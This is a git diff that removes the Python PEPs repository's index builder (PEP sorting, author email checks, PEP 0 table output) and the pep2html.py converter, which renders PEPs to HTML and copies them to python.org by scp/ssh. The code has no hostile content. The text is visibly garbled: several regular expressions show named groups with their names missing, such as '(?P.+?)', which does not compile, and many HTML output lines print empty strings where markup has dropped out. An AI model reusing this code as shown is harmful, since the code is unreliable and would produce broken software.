'title': 'PEP Title', 'authors': 'PEP Author(s)'} - print(constants.table_separator, file=output) - print(constants.column_format % column_headers, file=output) - print(constants.table_separator, file=output) - - -def sort_peps(peps): - """Sort PEPs into meta, informational, accepted, open, finished, - and essentially dead.""" - meta = [] - info = [] - provisional = [] - accepted = [] - open_ = [] - finished = [] - historical = [] - deferred = [] - dead = [] - for pep in peps: - # Order of 'if' statement important. Key Status values take precedence - # over Type value, and vice-versa. - if pep.status == 'Draft': - open_.append(pep) - elif pep.status == 'Deferred': - deferred.append(pep) - elif pep.type_ == 'Process': - if pep.status == "Active": - meta.append(pep) - elif pep.status in ("Withdrawn", "Rejected"): - dead.append(pep) - else: - historical.append(pep) - elif pep.status in ('Rejected', 'Withdrawn', - 'Incomplete', 'Superseded'): - dead.append(pep) - elif pep.type_ == 'Informational': - # Hack until the conflict between the use of "Final" - # for both API definition PEPs and other (actually - # obsolete) PEPs is addressed - if (pep.status == "Active" or - "Release Schedule" not in pep.title): - info.append(pep) - else: - historical.append(pep) - elif pep.status == 'Provisional': - provisional.append(pep) - elif pep.status in ('Accepted', 'Active'): - accepted.append(pep) - elif pep.status == 'Final': - finished.append(pep) - else: - raise PEPError("unsorted (%s/%s)" % - (pep.type_, pep.status), - pep.filename, pep.number) - return (meta, info, provisional, accepted, open_, - finished, historical, deferred, dead) - - -def verify_email_addresses(peps): - authors_dict = {} - for pep in peps: - for author in pep.authors: - # If this is the first time we have come across an author, add them. - if author not in authors_dict: - authors_dict[author] = [author.email] - else: - found_emails = authors_dict[author] - # If no email exists for the author, use the new value. - if not found_emails[0]: - authors_dict[author] = [author.email] - # If the new email is an empty string, move on. - elif not author.email: - continue - # If the email has not been seen, add it to the list. - elif author.email not in found_emails: - authors_dict[author].append(author.email) - - valid_authors_dict = {} - too_many_emails = [] - for author, emails in authors_dict.items(): - if len(emails) > 1: - too_many_emails.append((author.first_last, emails)) - else: - valid_authors_dict[author] = emails[0] - if too_many_emails: - err_output = [] - for author, emails in too_many_emails: - err_output.append(" %s: %r" % (author, emails)) - raise ValueError("some authors have more than one email address " - "listed:\n" + '\n'.join(err_output)) - - return valid_authors_dict - - -def sort_authors(authors_dict): - authors_list = list(authors_dict.keys()) - authors_list.sort(key=attrgetter('sort_by')) - return authors_list - -def normalized_last_first(name): - return len(unicodedata.normalize('NFC', name.last_first)) - -def emit_title(text, anchor, output, *, symbol="="): - print(".. _{anchor}:\n".format(anchor=anchor), file=output) - print(text, file=output) - print(symbol*len(text), file=output) - print(file=output) - -def emit_subtitle(text, anchor, output): - emit_title(text, anchor, output, symbol="-") - -def emit_pep_category(output, category, anchor, peps): - emit_subtitle(category, anchor, output) - emit_column_headers(output) - for pep in peps: - print(pep, file=output) - print(constants.table_separator, file=output) - print(file=output) - -def write_pep0(peps, output=sys.stdout): - # PEP metadata - today = datetime.date.today().strftime("%Y-%m-%d") - print(constants.header % today, file=output) - print(file=output) - # Introduction - emit_title("Introduction", "intro", output) - print(constants.intro, file=output) - print(file=output) - # PEPs by category - (meta, info, provisional, accepted, open_, - finished, historical, deferred, dead) = sort_peps(peps) - emit_title("Index by Category", "by-category", output) - emit_pep_category( - category="Meta-PEPs (PEPs about PEPs or Processes)", - anchor="by-category-meta", - peps=meta, - output=output, - ) - emit_pep_category( - category="Other Informational PEPs", - anchor="by-category-other-info", - peps=info, - output=output, - ) - emit_pep_category( - category="Provisional PEPs (provisionally accepted; interface may still change)", - anchor="by-category-provisional", - peps=provisional, - output=output, - ) - emit_pep_category( - category="Accepted PEPs (accepted; may not be implemented yet)", - anchor="by-category-accepted", - peps=accepted, - output=output, - ) - emit_pep_category( - category="Open PEPs (under consideration)", - anchor="by-category-open", - peps=open_, - output=output, - ) - emit_pep_category( - category="Finished PEPs (done, with a stable interface)", - anchor="by-category-finished", - peps=finished, - output=output, - ) - emit_pep_category( - category="Historical Meta-PEPs and Informational PEPs", - anchor="by-category-historical", - peps=historical, - output=output, - ) - emit_pep_category( - category="Deferred PEPs (postponed pending further research or updates)", - anchor="by-category-deferred", - peps=deferred, - output=output, - ) - emit_pep_category( - category="Abandoned, Withdrawn, and Rejected PEPs", - anchor="by-category-abandoned", - peps=dead, - output=output, - ) - print(file=output) - # PEPs by number - emit_title("Numerical Index", "by-pep-number", output) - emit_column_headers(output) - prev_pep = 0 - for pep in peps: - if pep.number - prev_pep > 1: - print(file=output) - print(constants.text_type(pep), file=output) - prev_pep = pep.number - print(constants.table_separator, file=output) - print(file=output) - # Reserved PEP numbers - emit_title('Reserved PEP Numbers', "reserved", output) - emit_column_headers(output) - for number, claimants in sorted(RESERVED): - print(constants.column_format % { - 'type': '.', - 'status': '.', - 'number': number, - 'title': 'RESERVED', - 'authors': claimants, - }, file=output) - print(constants.table_separator, file=output) - print(file=output) - # PEP types key - emit_title("PEP Types Key", "type-key", output) - for type_ in sorted(PEP.type_values): - print(u" %s - %s PEP" % (type_[0], type_), file=output) - print(file=output) - print(file=output) - # PEP status key - emit_title("PEP Status Key", "status-key", output) - for status in sorted(PEP.status_values): - # Draft PEPs have no status displayed, Active shares a key with Accepted - if status in ("Active", "Draft"): - continue - if status == "Accepted": - msg = " A - Accepted (Standards Track only) or Active proposal" - else: - msg = " {status[0]} - {status} proposal".format(status=status) - print(msg, file=output) - print(file=output) - - print(file=output) - # PEP owners - emit_title("Authors/Owners", "authors", output) - authors_dict = verify_email_addresses(peps) - max_name = max(authors_dict.keys(), key=normalized_last_first) - max_name_len = len(max_name.last_first) - author_table_separator = "="*max_name_len + " " + "="*len("email address") - print(author_table_separator, file=output) - _author_header_fmt = "{name:{max_name_len}} Email Address" - print(_author_header_fmt.format(name="Name", max_name_len=max_name_len), file=output) - print(author_table_separator, file=output) - sorted_authors = sort_authors(authors_dict) - _author_fmt = "{author.last_first:{max_name_len}} {author_email}" - for author in sorted_authors: - # Use the email from authors_dict instead of the one from 'author' as - # the author instance may have an empty email. - _entry = _author_fmt.format( - author=author, - author_email=authors_dict[author], - max_name_len=max_name_len, - ) - print(_entry, file=output) - print(author_table_separator, file=output) - print(file=output) - print(file=output) - # References for introduction footnotes - emit_title("References", "references", output) - print(constants.references, file=output) - print(constants.footer, file=output) diff --git a/pep0/pep.py b/pep0/pep.py deleted file mode 100644 index 1a4d83213ba..00000000000 --- a/pep0/pep.py +++ /dev/null @@ -1,316 +0,0 @@ -# -*- coding: utf-8 -*- -"""Code for handling object representation of a PEP.""" -from __future__ import absolute_import -import re -import sys -import textwrap -import unicodedata - -from email.parser import HeaderParser - -from . import constants - - -class PEPError(Exception): - - def __init__(self, error, pep_file, pep_number=None): - super(PEPError, self).__init__(error) - self.filename = pep_file - self.number = pep_number - - def __str__(self): - error_msg = super(PEPError, self).__str__() - if self.number is not None: - return "PEP %d: %r" % (self.number, error_msg) - else: - return "(%s): %r" % (self.filename, error_msg) - - -class PEPParseError(PEPError): - - pass - - -class Author(object): - - """Represent PEP authors. - - Attributes: - - + first_last : str - The author's full name. - - + last_first : str - Output the author's name in Last, First, Suffix order. - - + first : str - The author's first name. A middle initial may be included. - - + last : str - The author's last name. - - + suffix : str - A person's suffix (can be the empty string). - - + sort_by : str - Modification of the author's last name that should be used for - sorting. - - + email : str - The author's email address. - """ - - def __init__(self, author_and_email_tuple): - """Parse the name and email address of an author.""" - name, email = author_and_email_tuple - self.first_last = name.strip() - self.email = email.lower() - last_name_fragment, suffix = self._last_name(name) - name_sep = name.index(last_name_fragment) - self.first = name[:name_sep].rstrip() - self.last = last_name_fragment - if self.last[1] == u'.': - # Add an escape to avoid docutils turning `v.` into `22.`. - self.last = u'\\' + self.last - self.suffix = suffix - if not self.first: - self.last_first = self.last - else: - self.last_first = u', '.join([self.last, self.first]) - if self.suffix: - self.last_first += u', ' + self.suffix - if self.last == "van Rossum": - # Special case for our beloved BDFL. :) - if self.first == "Guido": - self.nick = "GvR" - elif self.first == "Just": - self.nick = "JvR" - else: - raise ValueError("unknown van Rossum %r!" % self) - self.last_first += " (%s)" % (self.nick,) - else: - self.nick = self.last - - def __hash__(self): - return hash(self.first_last) - - def __eq__(self, other): - return self.first_last == other.first_last - - @property - def sort_by(self): - name_parts = self.last.split() - for index, part in enumerate(name_parts): - if part[0].isupper(): - base = u' '.join(name_parts[index:]).lower() - break - else: - # If no capitals, use the whole string - base = self.last.lower() - return unicodedata.normalize('NFKD', base).encode('ASCII', 'ignore') - - def _last_name(self, full_name): - """Find the last name (or nickname) of a full name. - - If no last name (e.g, 'Aahz') then return the full name. If there is - a leading, lowercase portion to the last name (e.g., 'van' or 'von') - then include it. If there is a suffix (e.g., 'Jr.') that is appended - through a comma, then drop the suffix. - - """ - name_partition = full_name.partition(u',') - no_suffix = name_partition[0].strip() - suffix = name_partition[2].strip() - name_parts = no_suffix.split() - part_count = len(name_parts) - if part_count == 1 or part_count == 2: - return name_parts[-1], suffix - else: - assert part_count > 2 - if name_parts[-2].islower(): - return u' '.join(name_parts[-2:]), suffix - else: - return name_parts[-1], suffix - - -class PEP(object): - - """Representation of PEPs. - - Attributes: - - + number : int - PEP number. - - + title : str - PEP title. - - + type_ : str - The type of PEP. Can only be one of the values from - PEP.type_values. - - + status : str - The PEP's status. Value must be found in PEP.status_values. - - + authors : Sequence(Author) - A list of the authors. - """ - - # The various RFC 822 headers that are supported. - # The second item in the nested tuples represents if the header is - # required or not. - headers = (('PEP', True), ('Title', True), ('Version', False), - ('Last-Modified', False), ('Author', True), - ('Sponsor', False), ('BDFL-Delegate', False), - ('PEP-Delegate', False), - ('Discussions-To', False), ('Status', True), ('Type', True), - ('Content-Type', False), ('Requires', False), - ('Created', True), ('Python-Version', False), - ('Post-History', False), ('Replaces', False), - ('Superseded-By', False), ('Resolution', False), - ) - # Valid values for the Type header. - type_values = (u"Standards Track", u"Informational", u"Process") - # Valid values for the Status header. - # Active PEPs can only be for Informational or Process PEPs. - status_values = (u"Accepted", u"Provisional", - u"Rejected", u"Withdrawn", u"Deferred", - u"Final", u"Active", u"Draft", u"Superseded") - - def __init__(self, pep_file): - """Init object from an open PEP file object.""" - # Parse the headers. - self.filename = pep_file - pep_parser = HeaderParser() - metadata = pep_parser.parse(pep_file) - header_order = iter(self.headers) - try: - for header_name in metadata.keys(): - current_header, required = next(header_order) - while header_name != current_header and not required: - current_header, required = next(header_order) - if header_name != current_header: - raise PEPError("did not deal with " - "%r before having to handle %r" % - (header_name, current_header), - pep_file.name) - except StopIteration: - raise PEPError("headers missing or out of order", - pep_file.name) - required = False - try: - while not required: - current_header, required = next(header_order) - else: - raise PEPError("PEP is missing its %r" % (current_header,), - pep_file.name) - except StopIteration: - pass - # 'PEP'. - try: - self.number = int(metadata['PEP']) - except ValueError: - raise PEPParseError("PEP number isn't an integer", pep_file.name) - # 'Title'. - self.title = metadata['Title'] - # 'Type'. - type_ = metadata['Type'] - if type_ not in self.type_values: - raise PEPError('%r is not a valid Type value' % (type_,), - pep_file.name, self.number) - self.type_ = type_ - # 'Status'. - status = metadata['Status'] - if status not in self.status_values: - if status == "April Fool!": - # See PEP 401 :) - status = "Rejected" - else: - raise PEPError("%r is not a valid Status value" % - (status,), pep_file.name, self.number) - # Special case for Active PEPs. - if (status == u"Active" and - self.type_ not in ("Process", "Informational")): - raise PEPError("Only Process and Informational PEPs may " - "have an Active status", pep_file.name, - self.number) - # Special case for Provisional PEPs. - if (status == u"Provisional" and self.type_ != "Standards Track"): - raise PEPError("Only Standards Track PEPs may " - "have a Provisional status", pep_file.name, - self.number) - self.status = status - # 'Author'. - authors_and_emails = self._parse_author(metadata['Author']) - if len(authors_and_emails) < 1: - raise PEPError("no authors found", pep_file.name, - self.number) - self.authors = list(map(Author, authors_and_emails)) - - def _parse_author(self, data): - """Return a list of author names and emails.""" - # XXX Consider using email.utils.parseaddr (doesn't work with names - # lacking an email address. - angled = constants.text_type(r'(?P.+?) <(?P.+?)>') - paren = constants.text_type(r'(?P.+?) \((?P.+?)\)') - simple = constants.text_type(r'(?P[^,]+)') - author_list = [] - for regex in (angled, paren, simple): - # Watch out for commas separating multiple names. - regex += r'(,\s*)?' - for match in re.finditer(regex, data): - # Watch out for suffixes like 'Jr.' when they are comma-separated - # from the name and thus cause issues when *all* names are only - # separated by commas. - match_dict = match.groupdict() - author = match_dict['author'] - if not author.partition(' ')[1] and author.endswith('.'): - prev_author = author_list.pop() - author = ', '.join([prev_author, author]) - if u'email' not in match_dict: - email = '' - else: - email = match_dict['email'] - author_list.append((author, email)) - else: - # If authors were found then stop searching as only expect one - # style of author citation. - if author_list: - break - return author_list - - @property - def type_abbr(self): - """Return the how the type is to be represented in the index.""" - return self.type_[0].upper() - - @property - def status_abbr(self): - """Return how the status should be represented in the index.""" - if self.status in ('Draft', 'Active'): - return u' ' - else: - return self.status[0].upper() - - @property - def author_abbr(self): - """Return the author list as a comma-separated with only last names.""" - return u', '.join(x.nick for x in self.authors) - - @property - def title_abbr(self): - """Shorten the title to be no longer than the max title length.""" - if len(self.title) <= constants.title_length: - return self.title - wrapped_title = textwrap.wrap(self.title, constants.title_length - 4) - return wrapped_title[0] + u' ...' - - def __unicode__(self): - """Return the line entry for the PEP.""" - pep_info = {'type': self.type_abbr, 'number': str(self.number), - 'title': self.title_abbr, 'status': self.status_abbr, - 'authors': self.author_abbr} - return constants.column_format % pep_info - - if sys.version_info[0] > 2: - __str__ = __unicode__ diff --git a/pep2html.py b/pep2html.py deleted file mode 100755 index 6bc2c742545..00000000000 --- a/pep2html.py +++ /dev/null @@ -1,710 +0,0 @@ -#!/usr/bin/env python -"""Convert PEPs to (X)HTML - courtesy of /F - -Usage: %(PROGRAM)s [options] [ ...] - -Options: - --u, --user - python.org username - --b, --browse - After generating the HTML, direct your web browser to view it - (using the Python webbrowser module). If both -i and -b are - given, this will browse the on-line HTML; otherwise it will - browse the local HTML. If no pep arguments are given, this - will browse PEP 0. - --i, --install - After generating the HTML, install it and the plaintext source file - (.txt) on python.org. In that case the user's name is used in the scp - and ssh commands, unless "-u username" is given (in which case, it is - used instead). Without -i, -u is ignored. - --l, --local - Same as -i/--install, except install on the local machine. Use this - when logged in to the python.org machine (dinsdale). - --q, --quiet - Turn off verbose messages. - --h, --help - Print this help message and exit. - -The optional arguments ``peps`` are either pep numbers, .rst or .txt files. -""" - -from __future__ import print_function, unicode_literals - -import sys -import os -import re -import glob -import getopt -import errno -import random -import time -from io import open -try: - from html import escape -except ImportError: - from cgi import escape - -from docutils import core, nodes, utils -from docutils.readers import standalone -from docutils.transforms import peps, references, misc, frontmatter, Transform -from docutils.parsers import rst - -class DataError(Exception): - pass - -REQUIRES = {'python': '2.6', - 'docutils': '0.2.7'} -PROGRAM = sys.argv[0] -RFCURL = 'http://www.faqs.org/rfcs/rfc%d.html' -PEPURL = 'pep-%04d.html' -PEPCVSURL = ('https://hg.python.org/peps/file/tip/pep-%04d.txt') -PEPDIRRUL = 'http://www.python.org/peps/' - - -HOST = "dinsdale.python.org" # host for update -HDIR = "/data/ftp.python.org/pub/www.python.org/peps" # target host directory -LOCALVARS = "Local Variables:" - -COMMENT = """""" - -# The generated HTML doesn't validate -- you cannot use
and

inside -# 
 tags.  But if I change that, the result doesn't look very nice...
-DTD = ('')
-
-fixpat = re.compile(r"((https?|ftp):[-_a-zA-Z0-9/.+~:?#$=&,]+)|(pep-\d+(.txt|.rst)?)|"
-                    r"(RFC[- ]?(?P\d+))|"
-                    r"(PEP\s+(?P\d+))|"
-                    r".")
-
-EMPTYSTRING = ''
-SPACE = ' '
-COMMASPACE = ', '
-
-
-
-def usage(code, msg=''):
-    """Print usage message and exit.  Uses stderr if code != 0."""
-    if code == 0:
-        out = sys.stdout
-    else:
-        out = sys.stderr
-    print(__doc__ % globals(), file=out)
-    if msg:
-        print(msg, file=out)
-    sys.exit(code)
-
-
-
-def fixanchor(current, match):
-    text = match.group(0)
-    link = None
-    if (text.startswith('http:') or text.startswith('https:')
-        or text.startswith('ftp:')):
-        # Strip off trailing punctuation.  Pattern taken from faqwiz.
-        ltext = list(text)
-        while ltext:
-            c = ltext.pop()
-            if c not in '''();:,.?'"<>''':
-                ltext.append(c)
-                break
-        link = EMPTYSTRING.join(ltext)
-    elif text.startswith('pep-') and text != current:
-        link = os.path.splitext(text)[0] + ".html"
-    elif text.startswith('PEP'):
-        pepnum = int(match.group('pepnum'))
-        link = PEPURL % pepnum
-    elif text.startswith('RFC'):
-        rfcnum = int(match.group('rfcnum'))
-        link = RFCURL % rfcnum
-    if link:
-        return '%s' % (escape(link), escape(text))
-    return escape(match.group(0)) # really slow, but it works...
-
-
-
-NON_MASKED_EMAILS = [
-    'peps@python.org',
-    'python-list@python.org',
-    'python-dev@python.org',
-    ]
-
-def fixemail(address, pepno):
-    if address.lower() in NON_MASKED_EMAILS:
-        # return hyperlinked version of email address
-        return linkemail(address, pepno)
-    else:
-        # return masked version of email address
-        parts = address.split('@', 1)
-        return '%s at %s' % (parts[0], parts[1])
-
-
-def linkemail(address, pepno):
-    parts = address.split('@', 1)
-    return (''
-            '%s at %s'
-            % (parts[0], parts[1], pepno, parts[0], parts[1]))
-
-
-def fixfile(inpath, input_lines, outfile):
-    try:
-        from email.Utils import parseaddr
-    except ImportError:
-        from email.utils import parseaddr
-    basename = os.path.basename(inpath)
-    infile = iter(input_lines)
-    # convert plaintext pep to minimal XHTML markup
-    print(DTD, file=outfile)
-    print('', file=outfile)
-    print(COMMENT, file=outfile)
-    print('', file=outfile)
-    # head
-    header = []
-    pep = ""
-    title = ""
-    for line in infile:
-        if not line.strip():
-            break
-        if line[0].strip():
-            if ":" not in line:
-                break
-            key, value = line.split(":", 1)
-            value = value.strip()
-            header.append((key, value))
-        else:
-            # continuation line
-            key, value = header[-1]
-            value = value + line
-            header[-1] = key, value
-        if key.lower() == "title":
-            title = value
-        elif key.lower() == "pep":
-            pep = value
-    if pep:
-        title = "PEP " + pep + " -- " + title
-    if title:
-        print('  %s' % escape(title), file=outfile)
-    r = random.choice(list(range(64)))
-    print((
-        '  \n'
-        '\n'
-        '\n'
-        '\n'
-        '\n'
-        '
\n'
-        '\n'
-        '[Python]\n'
-        '[Python Home]' % r), file=outfile)
-    if basename != 'pep-0000.txt':
-        print('[PEP Index]', file=outfile)
-    if pep:
-        try:
-            print(('[PEP Source'
-                               ']' % int(pep)), file=outfile)
-        except ValueError as error:
-            print(('ValueError (invalid PEP number): %s'
-                                  % error), file=sys.stderr)
-    print('
', file=outfile)
-    print('
\n', file=outfile)
-    for k, v in header:
-        if k.lower() in ('author', 'pep-delegate', 'bdfl-delegate', 'discussions-to',
-                         'sponsor'):
-            mailtos = []
-            for part in re.split(r',\s*', v):
-                if '@' in part:
-                    realname, addr = parseaddr(part)
-                    if k.lower() == 'discussions-to':
-                        m = linkemail(addr, pep)
-                    else:
-                        m = fixemail(addr, pep)
-                    mailtos.append('%s <%s>' % (realname, m))
-                elif part.startswith('http:'):
-                    mailtos.append(
-                        '%s' % (part, part))
-                else:
-                    mailtos.append(part)
-            v = COMMASPACE.join(mailtos)
-        elif k.lower() in ('replaces', 'superseded-by', 'requires'):
-            otherpeps = ''
-            for otherpep in re.split(r',?\s+', v):
-                otherpep = int(otherpep)
-                otherpeps += '%i ' % (otherpep,
-                                                                  otherpep)
-            v = otherpeps
-        elif k.lower() in ('last-modified',):
-            date = v or time.strftime('%d-%b-%Y',
-                                      time.localtime(os.stat(inpath)[8]))
-            if date.startswith('$' 'Date: ') and date.endswith(' $'):
-                date = date[6:-2]
-            if basename == 'pep-0000.txt':
-                v = date
-            else:
-                try:
-                    url = PEPCVSURL % int(pep)
-                    v = '%s ' % (url, escape(date))
-                except ValueError as error:
-                    v = date
-        elif k.lower() in ('content-type',):
-            url = PEPURL % 9
-            pep_type = v or 'text/plain'
-            v = '%s ' % (url, escape(pep_type))
-        elif k.lower() == 'version':
-            if v.startswith('$' 'Revision: ') and v.endswith(' $'):
-                v = escape(v[11:-2])
-        else:
-            v = escape(v)
-        print('  ' \
-              % (escape(k), v), file=outfile)
-    print('
%s: %s
', file=outfile)
-    print('
', file=outfile)
-    print('
', file=outfile)
-    print('
', file=outfile)
-    need_pre = 1
-    for line in infile:
-        if line[0] == '\f':
-            continue
-        if line.strip() == LOCALVARS:
-            break
-        if line[0].strip():
-            if not need_pre:
-                print('
', file=outfile) - print('

%s

' % line.strip(), file=outfile) - need_pre = 1 - elif not line.strip() and need_pre: - continue - else: - # PEP 0 has some special treatment - if basename == 'pep-0000.txt': - parts = line.split() - if len(parts) > 1 and re.match(r'\s*\d{1,4}', parts[1]): - # This is a PEP summary line, which we need to hyperlink - url = PEPURL % int(parts[1]) - if need_pre: - print('
', file=outfile)
-                        need_pre = 0
-                    print(re.sub(
-                        parts[1],
-                        '%s' % (url, parts[1]),
-                        line, 1), end='', file=outfile)
-                    continue
-                elif parts and '@' in parts[-1]:
-                    # This is a pep email address line, so filter it.
-                    url = fixemail(parts[-1], pep)
-                    if need_pre:
-                        print('
', file=outfile)
-                        need_pre = 0
-                    print(re.sub(
-                        parts[-1], url, line, 1), end='', file=outfile)
-                    continue
-            line = fixpat.sub(lambda x, c=inpath: fixanchor(c, x), line)
-            if need_pre:
-                print('
', file=outfile)
-                need_pre = 0
-            outfile.write(line)
-    if not need_pre:
-        print('
', file=outfile)
-    print('', file=outfile)
-    print('', file=outfile)
-    print('', file=outfile)
-
-
-docutils_settings = None
-"""Runtime settings object used by Docutils.  Can be set by the client
-application when this module is imported."""
-
-class PEPHeaders(Transform):
-
-    """
-    Process fields in a PEP's initial RFC-2822 header.
-    """
-
-    default_priority = 360
-
-    pep_url = 'pep-%04d'
-    pep_cvs_url = PEPCVSURL
-    rcs_keyword_substitutions = (
-          (re.compile(r'\$' r'RCSfile: (.+),v \$$', re.IGNORECASE), r'\1'),
-          (re.compile(r'\$[a-zA-Z]+: (.+) \$$'), r'\1'),)
-
-    def apply(self):
-        if not len(self.document):
-            # @@@ replace these DataErrors with proper system messages
-            raise DataError('Document tree is empty.')
-        header = self.document[0]
-        if not isinstance(header, nodes.field_list) or \
-              'rfc2822' not in header['classes']:
-            raise DataError('Document does not begin with an RFC-2822 '
-                            'header; it is not a PEP.')
-        pep = None
-        for field in header:
-            if field[0].astext().lower() == 'pep': # should be the first field
-                value = field[1].astext()
-                try:
-                    pep = int(value)
-                    cvs_url = self.pep_cvs_url % pep
-                except ValueError:
-                    pep = value
-                    cvs_url = None
-                    msg = self.document.reporter.warning(
-                        '"PEP" header must contain an integer; "%s" is an '
-                        'invalid value.' % pep, base_node=field)
-                    msgid = self.document.set_id(msg)
-                    prb = nodes.problematic(value, value or '(none)',
-                                            refid=msgid)
-                    prbid = self.document.set_id(prb)
-                    msg.add_backref(prbid)
-                    if len(field[1]):
-                        field[1][0][:] = [prb]
-                    else:
-                        field[1] += nodes.paragraph('', '', prb)
-                break
-        if pep is None:
-            raise DataError('Document does not contain an RFC-2822 "PEP" '
-                            'header.')
-        if pep == 0:
-            # Special processing for PEP 0.
-            pending = nodes.pending(peps.PEPZero)
-            self.document.insert(1, pending)
-            self.document.note_pending(pending)
-        if len(header) < 2 or header[1][0].astext().lower() != 'title':
-            raise DataError('No title!')
-        for field in header:
-            name = field[0].astext().lower()
-            body = field[1]
-            if len(body) > 1:
-                raise DataError('PEP header field body contains multiple '
-                                'elements:\n%s' % field.pformat(level=1))
-            elif len(body) == 1:
-                if not isinstance(body[0], nodes.paragraph):
-                    raise DataError('PEP header field body may only contain '
-                                    'a single paragraph:\n%s'
-                                    % field.pformat(level=1))
-            elif name == 'last-modified':
-                date = time.strftime(
-                      '%d-%b-%Y',
-                      time.localtime(os.stat(self.document['source'])[8]))
-                if cvs_url:
-                    body += nodes.paragraph(
-                        '', '', nodes.reference('', date, refuri=cvs_url))
-            else:
-                # empty
-                continue
-            para = body[0]
-            if name in ('author', 'bdfl-delegate', 'pep-delegate', 'sponsor'):
-                for node in para:
-                    if isinstance(node, nodes.reference):
-                        node.replace_self(peps.mask_email(node))
-            elif name == 'discussions-to':
-                for node in para:
-                    if isinstance(node, nodes.reference):
-                        node.replace_self(peps.mask_email(node, pep))
-            elif name in ('replaces', 'superseded-by', 'requires'):
-                newbody = []
-                space = nodes.Text(' ')
-                for refpep in re.split(r',?\s+', body.astext()):
-                    pepno = int(refpep)
-                    newbody.append(nodes.reference(
-                        refpep, refpep,
-                        refuri=(self.document.settings.pep_base_url
-                                + self.pep_url % pepno)))
-                    newbody.append(space)
-                para[:] = newbody[:-1] # drop trailing space
-            elif name == 'last-modified':
-                utils.clean_rcs_keywords(para, self.rcs_keyword_substitutions)
-                if cvs_url:
-                    date = para.astext()
-                    para[:] = [nodes.reference('', date, refuri=cvs_url)]
-            elif name == 'content-type':
-                pep_type = para.astext()
-                uri = self.document.settings.pep_base_url + self.pep_url % 12
-                para[:] = [nodes.reference('', pep_type, refuri=uri)]
-            elif name == 'version' and len(body):
-                utils.clean_rcs_keywords(para, self.rcs_keyword_substitutions)
-
-class PEPReader(standalone.Reader):
-
-    supported = ('pep',)
-    """Contexts this reader supports."""
-
-    settings_spec = (
-        'PEP Reader Option Defaults',
-        'The --pep-references and --rfc-references options (for the '
-        'reStructuredText parser) are on by default.',
-        ())
-
-    config_section = 'pep reader'
-    config_section_dependencies = ('readers', 'standalone reader')
-
-    def get_transforms(self):
-        transforms = standalone.Reader.get_transforms(self)
-        # We have PEP-specific frontmatter handling.
-        transforms.remove(frontmatter.DocTitle)
-        transforms.remove(frontmatter.SectionSubTitle)
-        transforms.remove(frontmatter.DocInfo)
-        transforms.extend([PEPHeaders, peps.Contents, peps.TargetNotes])
-        return transforms
-
-    settings_default_overrides = {'pep_references': 1, 'rfc_references': 1}
-
-    inliner_class = rst.states.Inliner
-
-    def __init__(self, parser=None, parser_name=None):
-        """`parser` should be ``None``."""
-        if parser is None:
-            parser = rst.Parser(rfc2822=True, inliner=self.inliner_class())
-        standalone.Reader.__init__(self, parser, '')
-
-
-def fix_rst_pep(inpath, input_lines, outfile):
-    output = core.publish_string(
-        source=''.join(input_lines),
-        source_path=inpath,
-        destination_path=outfile.name,
-        reader=PEPReader(),
-        parser_name='restructuredtext',
-        writer_name='pep_html',
-        settings=docutils_settings,
-        # Allow Docutils traceback if there's an exception:
-        settings_overrides={'traceback': 1, 'halt_level': 2})
-    outfile.write(output.decode('utf-8'))
-
-
-def get_pep_type(input_lines):
-    """
-    Return the Content-Type of the input.  "text/plain" is the default.
-    Return ``None`` if the input is not a PEP.
-    """
-    pep_type = None
-    for line in input_lines:
-        line = line.rstrip().lower()
-        if not line:
-            # End of the RFC 2822 header (first blank line).
-            break
-        elif line.startswith('content-type: '):
-            pep_type = line.split()[1] or 'text/plain'
-            break
-        elif line.startswith('pep: '):
-            # Default PEP type, used if no explicit content-type specified:
-            pep_type = 'text/plain'
-    return pep_type
-
-
-def get_input_lines(inpath):
-    try:
-        infile = open(inpath, encoding='utf-8')
-    except IOError as e:
-        if e.errno != errno.ENOENT: raise
-        print('Error: Skipping missing PEP file:', e.filename, file=sys.stderr)
-        sys.stderr.flush()
-        return None
-    lines = infile.read().splitlines(1) # handles x-platform line endings
-    infile.close()
-    return lines
-
-
-def find_pep(pep_str):
-    """Find the .rst or .txt file indicated by a cmd line argument"""
-    if os.path.exists(pep_str):
-        return pep_str
-    num = int(pep_str)
-    rstpath = "pep-%04d.rst" % num
-    if os.path.exists(rstpath):
-        return rstpath
-    return "pep-%04d.txt" % num
-
-def make_html(inpath, verbose=0):
-    input_lines = get_input_lines(inpath)
-    if input_lines is None:
-        return None
-    pep_type = get_pep_type(input_lines)
-    if pep_type is None:
-        print('Error: Input file %s is not a PEP.' % inpath, file=sys.stderr)
-        sys.stdout.flush()
-        return None
-    elif pep_type not in PEP_TYPE_DISPATCH:
-        print(('Error: Unknown PEP type for input file %s: %s'
-                              % (inpath, pep_type)), file=sys.stderr)
-        sys.stdout.flush()
-        return None
-    elif PEP_TYPE_DISPATCH[pep_type] == None:
-        pep_type_error(inpath, pep_type)
-        return None
-    outpath = os.path.splitext(inpath)[0] + ".html"
-    if verbose:
-        print(inpath, "(%s)" % pep_type, "->", outpath)
-        sys.stdout.flush()
-    outfile = open(outpath, "w", encoding='utf-8')
-    PEP_TYPE_DISPATCH[pep_type](inpath, input_lines, outfile)
-    outfile.close()
-    os.chmod(outfile.name, 0o664)
-    return outpath
-
-def push_pep(htmlfiles, txtfiles, username, verbose, local=0):
-    quiet = ""
-    if local:
-        if verbose:
-            quiet = "-v"
-        target = HDIR
-        copy_cmd = "cp"
-        chmod_cmd = "chmod"
-    else:
-        if not verbose:
-            quiet = "-q"
-        if username:
-            username = username + "@"
-        target = username + HOST + ":" + HDIR
-        copy_cmd = "scp"
-        chmod_cmd = "ssh %s%s chmod" % (username, HOST)
-    files = htmlfiles[:]
-    files.extend(txtfiles)
-    files.append("style.css")
-    files.append("pep.css")
-    filelist = SPACE.join(files)
-    rc = os.system("%s %s %s %s" % (copy_cmd, quiet, filelist, target))
-    if rc:
-        sys.exit(rc)
-##    rc = os.system("%s 664 %s/*" % (chmod_cmd, HDIR))
-##    if rc:
-##        sys.exit(rc)
-
-
-PEP_TYPE_DISPATCH = {'text/plain': fixfile,
-                     'text/x-rst': fix_rst_pep}
-PEP_TYPE_MESSAGES = {}
-
-def check_requirements():
-    # Check Python:
-    # This is pretty much covered by the __future__ imports...
-    if sys.version_info < (2, 6, 0):
-        PEP_TYPE_DISPATCH['text/plain'] = None
-        PEP_TYPE_MESSAGES['text/plain'] = (
-            'Python %s or better required for "%%(pep_type)s" PEP '
-            'processing; %s present (%%(inpath)s).'
-            % (REQUIRES['python'], sys.version.split()[0]))
-    # Check Docutils:
-    try:
-        import docutils
-    except ImportError:
-        PEP_TYPE_DISPATCH['text/x-rst'] = None
